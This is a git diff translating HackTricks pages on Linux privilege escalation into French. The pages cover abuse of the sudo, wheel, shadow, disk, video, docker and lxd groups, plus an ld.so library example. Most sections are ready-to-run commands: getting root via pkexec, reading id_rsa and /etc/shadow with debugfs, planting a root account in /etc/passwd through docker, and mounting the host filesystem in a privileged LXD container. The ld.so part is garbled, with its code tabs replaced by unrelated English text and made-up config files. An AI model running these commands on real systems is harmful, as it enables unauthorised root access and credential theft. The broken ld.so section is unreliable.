☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Sudo/Admin Groups +## Groupes Sudo/Admin -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - Méthode 1** +**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, vous pouvez trouver dans le fichier **/etc/sudoers** certaines de ces lignes : ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -25,47 +24,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter**: ``` sudo su ``` +### PE - Méthode 2 -### PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** : ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +Si vous trouvez que le binaire **pkexec est un binaire SUID** et que vous appartenez à **sudo** ou **admin**, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant `pkexec`.\ +Cela est dû au fait que ces groupes sont généralement inclus dans la **politique polkit**. Cette politique identifie essentiellement les groupes qui peuvent utiliser `pkexec`. Vérifiez-le avec: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Vous trouverez ici les groupes autorisés à exécuter **pkexec** et **par défaut** dans certaines distributions Linux, les groupes **sudo** et **admin** apparaissent. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +Pour **devenir root, vous pouvez exécuter** : ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Si vous essayez d'exécuter **pkexec** et que vous obtenez cette **erreur** : ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: +**Ce n'est pas parce que vous n'avez pas les permissions mais parce que vous n'êtes pas connecté sans interface graphique**. Et il y a une solution de contournement pour ce problème ici: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes**: {% code title="session1" %} ```bash @@ -82,38 +70,29 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` {% endcode %} -## Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: +## Groupe Wheel +**Parfois**, **par défaut** dans le fichier **/etc/sudoers**, vous pouvez trouver cette ligne : ``` %wheel ALL=(ALL:ALL) ALL ``` +Cela signifie que **n'importe quel utilisateur appartenant au groupe wheel peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter**: ``` sudo su ``` +## Groupe Shadow -## Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** : ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +## Groupe de disque -So, read the file and try to **crack some hashes**. - -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine. +Fichiers: `/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -122,57 +101,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Notez que vous pouvez également **écrire des fichiers** en utilisant debugfs. Par exemple, pour copier `/tmp/asd1.txt` vers `/tmp/asd2.txt`, vous pouvez faire : ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +Cependant, si vous essayez d'**écrire des fichiers appartenant à root** (comme `/etc/shadow` ou `/etc/passwd`), vous obtiendrez une erreur "**Permission refusée**". -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. - -## Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +## Groupe Vidéo +En utilisant la commande `w`, vous pouvez trouver **qui est connecté au système** et cela affichera une sortie comme celle-ci : ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Le groupe **video** a accès à la visualisation de la sortie de l'écran. Fondamentalement, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle de l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran sur `/sys/class/graphics/fb0/virtual_size`. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionnez le fichier \*\*`screen.raw` \*\* et sélectionnez comme type de fichier **Données d'image brute**: ![](<../../../.gitbook/assets/image (287) (1).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images (et sélectionnez celui qui montre le mieux l'écran): ![](<../../../.gitbook/assets/image (288).png>) -## Root Group +## Groupe Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Il semble que par défaut, les **membres du groupe root** pourraient avoir accès à **modifier** certains fichiers de configuration de **service** ou certains fichiers de **bibliothèques** ou **d'autres choses intéressantes** qui pourraient être utilisées pour escalader les privilèges... +**Vérifiez les fichiers que les membres de root peuvent modifier**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Groupe Docker -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +Vous pouvez **monter le système de fichiers racine de la machine hôte sur le volume d'une instance**, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine. ```bash docker image #Get images from the docker service @@ -184,43 +153,42 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +Enfin, si vous n'aimez aucune des suggestions précédentes, ou si elles ne fonctionnent pas pour une raison quelconque (pare-feu de l'API docker?), vous pouvez toujours essayer de **lancer un conteneur privilégié et de vous en échapper** comme expliqué ici: {% content-ref url="../docker-security/" %} -[docker-security](../docker-security/) +[sécurité-docker](../docker-security/) {% endcontent-ref %} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +Si vous avez des permissions d'écriture sur le socket docker, lisez [**cet article sur la façon d'escalader les privilèges en abusant du socket docker**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## Groupe lxc/lxd {% content-ref url="./" %} [.](./) {% endcontent-ref %} -## Adm Group +## Groupe Adm -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +Généralement, les **membres** du groupe **`adm`** ont des permissions pour **lire les fichiers journaux** situés dans _/var/log/_.\ +Par conséquent, si vous avez compromis un utilisateur appartenant à ce groupe, vous devriez certainement **consulter les journaux**. -## Auth group +## Groupe Auth -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Dans OpenBSD, le groupe **auth** peut généralement écrire dans les dossiers _**/etc/skey**_ et _**/var/db/yubikey**_ s'ils sont utilisés.\ +Ces permissions peuvent être abusées avec l'exploit suivant pour **escalader les privilèges** vers root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 9e076b4c5..b949f0c55 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,25 +1,24 @@ -# lxd/lxc Group - Privilege escalation +# Groupe lxd/lxc - Élévation de privilèges
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +Si vous appartenez au groupe _**lxd**_ **ou** _**lxc**_, vous pouvez devenir root. -## Exploiting without internet +## Exploitation sans internet -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### Méthode 1 +Vous pouvez installer sur votre machine ce constructeur de distribution : [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (suivez les instructions du github) : ```bash sudo su #Install requirements @@ -37,42 +36,34 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8 ``` +Ensuite, téléchargez sur le serveur vulnérable les fichiers **lxd.tar.xz** et **rootfs.squashfs** -Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs** - -Add the image: - +Ajoutez l'image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` - -Create a container and add root path - +Créez un conteneur et ajoutez le chemin racine ```bash lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - {% hint style="danger" %} -If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -Run **`lxd init`** and **repeat** the previous chunk of commands +Si vous rencontrez cette erreur _**Erreur: aucun pool de stockage trouvé. Veuillez créer un nouveau pool de stockage**_\ +Exécutez **`lxd init`** et **répétez** le bloc de commandes précédent. {% endhint %} -Execute the container: - +Exécutez le conteneur : ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +### Méthode 2 -### Method 2 - -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Construisez une image Alpine et démarrez-la en utilisant le drapeau `security.privileged=true`, forçant le conteneur à interagir en tant que root avec le système de fichiers hôte. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -96,13 +87,11 @@ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursiv lxc start mycontainer lxc exec mycontainer /bin/sh ``` +Alternativement [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) -Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) - -## With internet - -You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). +## Avec internet +Vous pouvez suivre [ces instructions](https://reboare.github.io/lxd/lxd-escape.html). ```bash lxc init ubuntu:16.04 test -c security.privileged=true lxc config device add test whatever disk source=/ path=/mnt/root recursive=true @@ -110,8 +99,7 @@ lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - -## Other Refs +## Autres références {% embed url="https://reboare.github.io/lxd/lxd-escape.html" %} @@ -119,10 +107,10 @@ lxc exec test bash ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/ld.so.conf-example.md b/linux-hardening/privilege-escalation/ld.so.conf-example.md index 087e14314..8d47dcb1e 100644 --- a/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -1,20 +1,20 @@ -# ld.so privesc exploit example +## Exemple d'exploitation de privilège ld.so
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Prepare the environment +## Préparer l'environnement -In the following section you can find the code of the files we are going to use to prepare the environment +Dans la section suivante, vous pouvez trouver le code des fichiers que nous allons utiliser pour préparer l'environnement {% tabs %} {% tab title="sharedvuln.c" %} @@ -30,7 +30,48 @@ int main(){ ``` {% endtab %} -{% tab title="libcustom.h" %} +{% tab title="ld.so.conf Example" %} +# ld.so.conf Example + +This file is used by the dynamic linker/loader (`ld-linux.so`) to determine the libraries that need to be loaded for a given executable. By default, it looks for this file in `/etc/ld.so.conf` and any files in the `/etc/ld.so.conf.d/` directory. + +The format of the file is simple: each line contains the path to a directory containing shared libraries. Lines starting with a `#` are treated as comments. + +Here's an example `ld.so.conf` file: + +``` +# libc default configuration +/usr/local/lib + +# additional libraries +/opt/custom/lib +``` + +This file tells the dynamic linker to look for shared libraries in `/usr/local/lib` and `/opt/custom/lib`. If you install a new library in one of these directories, you don't need to update any environment variables or configuration files; the dynamic linker will automatically find it. + +Note that changes to this file will not take effect until you run `ldconfig` as root. This command updates the cache used by the dynamic linker to speed up library loading. If you forget to run `ldconfig` after modifying `ld.so.conf`, your changes will not be visible to the dynamic linker. + +## LD_LIBRARY_PATH + +In addition to `ld.so.conf`, you can also use the `LD_LIBRARY_PATH` environment variable to specify additional directories containing shared libraries. This variable takes precedence over `ld.so.conf`, so be careful when using it. + +For example, if you set `LD_LIBRARY_PATH=/opt/custom/lib`, the dynamic linker will look for shared libraries in `/opt/custom/lib` before looking in any directories specified in `ld.so.conf`. + +## Security Implications + +If an attacker can modify the `ld.so.conf` file or the `LD_LIBRARY_PATH` environment variable, they can potentially execute arbitrary code with the privileges of any user that runs a setuid/setgid binary that uses a library from the modified directory. + +This is known as a [library preloading attack](https://www.owasp.org/index.php/Dynamic_Linking#Library_Preloading_.28aka_.22Binary_Hijacking.22.29), and it can be used to bypass security controls and gain elevated privileges. + +To prevent this type of attack, you should ensure that the `ld.so.conf` file and the `LD_LIBRARY_PATH` environment variable are only writable by trusted users, and that any setuid/setgid binaries are carefully audited to ensure that they do not use libraries from untrusted directories. + +## References + +- [ld.so(8) man page](https://man7.org/linux/man-pages/man8/ld.so.8.html) +- [ldconfig(8) man page](https://man7.org/linux/man-pages/man8/ldconfig.8.html) +- [Dynamic Linking on the Linux Platform](https://www.ibm.com/developerworks/library/l-dynamic-libraries/) +- [Library Preloading (aka "Binary Hijacking")](https://www.owasp.org/index.php/Dynamic_Linking#Library_Preloading_.28aka_.22Binary_Hijacking.22.29) +{% endtab %} ```c #include @@ -38,7 +79,27 @@ void vuln_func(); ``` {% endtab %} -{% tab title="libcustom.c" %} +{% tab title="ld.so.conf" %} +# Custom libraries path +/home/user/custom-libs +{% endtab %} +{% tab title="ld.so.conf.d/custom.conf" %} +# Custom libraries path +/home/user/custom-libs +{% endtab %} + +{% tab title="ld.so.preload" %} +/lib/custom-lib.so +{% endtab %} +{% tab title="ld.so.cache" %} +/home/user/custom-libs/libcustom.so +{% endtab %} +{% tab title="ld.so.conf.d/other.conf" %} +/usr/local/lib +{% endtab %} +{% endtabs %} + +Le fichier `ld.so.conf` est utilisé pour spécifier les chemins de recherche des bibliothèques partagées. Si un chemin est ajouté à ce fichier, les bibliothèques partagées qu'il contient seront disponibles pour tous les programmes exécutés sur le système. Le fichier `ld.so.conf.d/custom.conf` est un exemple de fichier de configuration supplémentaire qui peut être utilisé pour ajouter des chemins de bibliothèques personnalisées. Le fichier `ld.so.preload` est utilisé pour spécifier les bibliothèques partagées qui doivent être chargées avant toutes les autres bibliothèques. Le fichier `ld.so.cache` est utilisé pour stocker les informations de cache sur les bibliothèques partagées disponibles sur le système. Le fichier `ld.so.conf.d/other.conf` est un exemple de fichier de configuration supplémentaire qui peut être utilisé pour ajouter des chemins de bibliothèques supplémentaires. ```c #include @@ -50,15 +111,14 @@ void vuln_func() {% endtab %} {% endtabs %} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Créez** ces fichiers sur votre machine dans le même dossier +2. **Compilez** la **bibliothèque**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Copiez** `libcustom.so` dans `/usr/lib`: `sudo cp libcustom.so /usr/lib` (privilèges root) +4. **Compilez** l'**exécutable**: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### Vérifiez l'environnement +Vérifiez que _libcustom.so_ est **chargé** depuis _/usr/lib_ et que vous pouvez **exécuter** le binaire. ``` $ ldd sharedvuln linux-vdso.so.1 => (0x00007ffc9a1f7000) @@ -70,18 +130,14 @@ $ ./sharedvuln 